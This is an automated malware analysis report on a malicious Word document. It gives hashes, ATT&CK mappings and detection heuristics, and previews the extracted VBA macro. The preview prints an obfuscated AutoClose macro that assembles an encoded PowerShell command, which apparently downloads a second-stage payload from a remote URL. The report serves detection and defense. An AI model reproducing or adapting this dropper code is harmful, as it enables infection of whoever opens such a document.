Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 389041974aed2bb2…

MALICIOUS

Office (OLE)

252.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 9cfe87196e1fb88f1a5cfddcd8b20068 SHA-1: 697307c150c6569d2f78759f8e0dc768d253313e SHA-256: 389041974aed2bb2c65aa3e0f20c84d4e908c304d679f96ded0c39e59762ce1c
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose trigger, indicating it will execute when the document is closed. The macro constructs and executes a PowerShell command, likely to download and run a second-stage payload. The ClamAV detection and the presence of obfuscated VBA code strongly suggest malicious intent.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 120521 bytes
SHA-256: ee21f6a3ee8932dbf32760f37480860293af399c1bcb78940d190ddb0f455a83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const QATOMujaMyGuwIXOWElIqRyWULaWodAfELtIpasowi = 0
Sub AutoClose()
On Error Resume Next
sorytijyxixiCKUpipEGAFApIiiTINECUfyZi = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^o^A^D^I^A^O^A^A^x^A^D^I^A^O^Q^A^z^A^D^I^A^O^Q^A^z^A^D^c^A^M^g^A^5^A^D^I^A^c^w^B^q^A^H^M^A^a^A^B^z^A^G^s^A^e^g^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^"
Dim zozakIlOWvakilOKACysywAWYkIJbYhYZexa(5)

If LenB("pLEsoRUJYmUG") < 192610 Then
zozakIlOWvakilOKACysywAWYkIJbYhYZexa(0) = VarType(Sqr(1926) + CInt("1926"))
End If
zozakIlOWvakilOKACysywAWYkIJbYhYZexa(1) = LTrim("pLEsoRUJYmUG") & "1010"
zozakIlOWvakilOKACysywAWYkIJbYhYZexa(2) = Day(19261926)

If Len("zozakIlOWvakilOKACysywAWYkIJbYhYZexa") < Len("pLEsoRUJYmUG") Then
zozakIlOWvakilOKACysywAWYkIJbYhYZexa(3) = Weekday(192610)
End If
Dim dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW(5)

If LenB("gOnAgAKUKakedySiLEqOcIv") < 86377 Then
dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW(0) = VarType(Sqr(8637) + CInt("8637"))
End If
dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW(1) = LTrim("gOnAgAKUKakedySiLEqOcIv") & "77"
dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW(2) = Day(86378637)

If Len("dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW") < Len("gOnAgAKUKakedySiLEqOcIv") Then
dLIbyFiLaVUvGpYHAzEwaXOjuhAlOBoW(3) = Weekday(86377)
End If

Dim PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq(5)

If LenB("dABAayhYgZyracE") < 90578 Then
PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq(0) = VarType(Sqr(9057) + CInt("9057"))
End If
PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq(1) = LTrim("dABAayhYgZyracE") & "88"
PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq(2) = Day(90579057)

If Len("PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq") < Len("dABAayhYgZyracE") Then
PaNuGaFPYjApewIiesOQhEQezSYfAHiZiqyq(3) = Weekday(90578)
End If
Dim VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab(5)

If LenB("duSAKuqykokAa") < 5147 Then
VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab(0) = VarType(Sqr(514) + CInt("514"))
End If
VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab(1) = LTrim("duSAKuqykokAa") & "77"
VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab(2) = Day(514514)

If Len("VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab") < Len("duSAKuqykokAa") Then
VeJYgOPAtaKuiOxehBUVemYWAJYUnUQAkITaLab(3) = Weekday(5147)
End If
Dim kuZIdyQUwUPGYhUpIkezeKbIfOxOzsevOcofPacO(5)
Dim FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi(5)

If LenB("DUpoREDEhIbE") < 70939 Then
FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi(0) = VarType(Sqr(7093) + CInt("7093"))
End If
FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi(1) = LTrim("DUpoREDEhIbE") & "99"
FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi(2) = Day(70937093)

If Len("FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi") < Len("DUpoREDEhIbE") Then
FUQuzuKeZezYJyPDAdUqupAgAtylerIiAi(3) = Weekday(70939)
End If

If LenB("GaoKANAiUnEkezoJoXEhu") < 58884 Then
Dim jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ(5)

If LenB("zFeNizAFylOBIJeTeqaS") < 52815 Then
jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ(0) = VarType(Sqr(5281) + CInt("5281"))
End If
jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ(1) = LTrim("zFeNizAFylOBIJeTeqaS") & "55"
jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ(2) = Day(52815281)

If Len("jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ") < Len("zFeNizAFylOBIJeTeqaS") Then
jevYRuaiNULeCAhIqYHojujItaCeconUaOqEQ(3) = Weekday(52815)
End If
Dim ryRiwOHIREPGODEfFYJykyCVAHiuLoGiGU(5)

If LenB("KYhAXAhIfZaiO") < 734110 Then
ryRiwOHIREPGODEfFYJykyCVAHiuL
... (truncated)